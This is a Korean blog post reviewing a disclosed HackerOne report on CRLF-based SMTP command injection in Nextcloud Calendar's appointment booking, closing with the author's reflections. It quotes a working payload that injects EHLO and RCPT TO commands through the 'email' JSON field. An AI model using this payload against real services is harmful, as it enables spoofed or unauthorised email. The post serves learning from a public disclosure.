본문 바로가기

web/Bug Bounty 리포트 리뷰

SMTP Command Injection - hackerone report #1509216

Report Info

  • URL (보고서 URL) : https://hackerone.com/reports/1509216
  • Title (보고서 제목) : SMTP Command Injection in Appointment Emails via Newlines
  • Reported to (신고 대상) : Nextcloud
  • Reported date (보고 날짜) : 2022. 3.13
  • Severity (취약 정도) : Medium (5.3)
  • Weakness (취약점) : CRLF Injection
  • Bounty (보상금) : None

Description

Nextcloud의 캘린더에서 제공되는 예약 기능을 통해 발생하는 취약점이다.

 

어떠한 사용자가 예약 캘린더 생성 기능을 이용하려고 하면 아래와 같은 요청이 생성된다.

POST /apps/calendar/appointment/1/book HTTP/2
Host: 192.168.92.132

{"start":1647306900,"end":"1647307200","displayName":"Test User","email":"<BOOKING USER'S EMAIL>","description":"Please accept!\r\n","timeZone":"Asia/Singapore"}

 

이 때 "eamil" 값에서 CRLF나 특수문자에 대한 검증을 따로 거치지 않아 해당 부분에 임의의 코드를 삽입할 수 있다.

{"start":1647306900,"end":"1647307200","displayName":"Test User\r\n","email":"\">\r\nEHLO a\r\nRCPT TO:<a@a.com>\"@b.com","description":"Please accept!\r\n","timeZone":"Asia/Singapore"}

 

위 JSON 데이터는 예약 캘린더를 생성할 때 요청 패킷의 "email" 값을 CRLF Injection을 통해 수정하여

EHLO a 명령어를 수행시키려는 것이다.

 

해당 취약점을 통해 이미 인증된 SMTP 세션을 탈취한 공격자가 다른 사용자에게 이메일을 보내거나, FROM 사용자를 변경하는 등의 작업을 수행할 수 있다.


느낀 점

현재 네트워크 및 프로토콜 관련 지식이 너무 부족하여 만약 내가 해당 취약점을 발견하게 되더라도

이걸 이용하여 어떤 작업을 수행하지 못했을 것 같다.

아직 아는게 너무 없는 상태임을 다시 자각했다...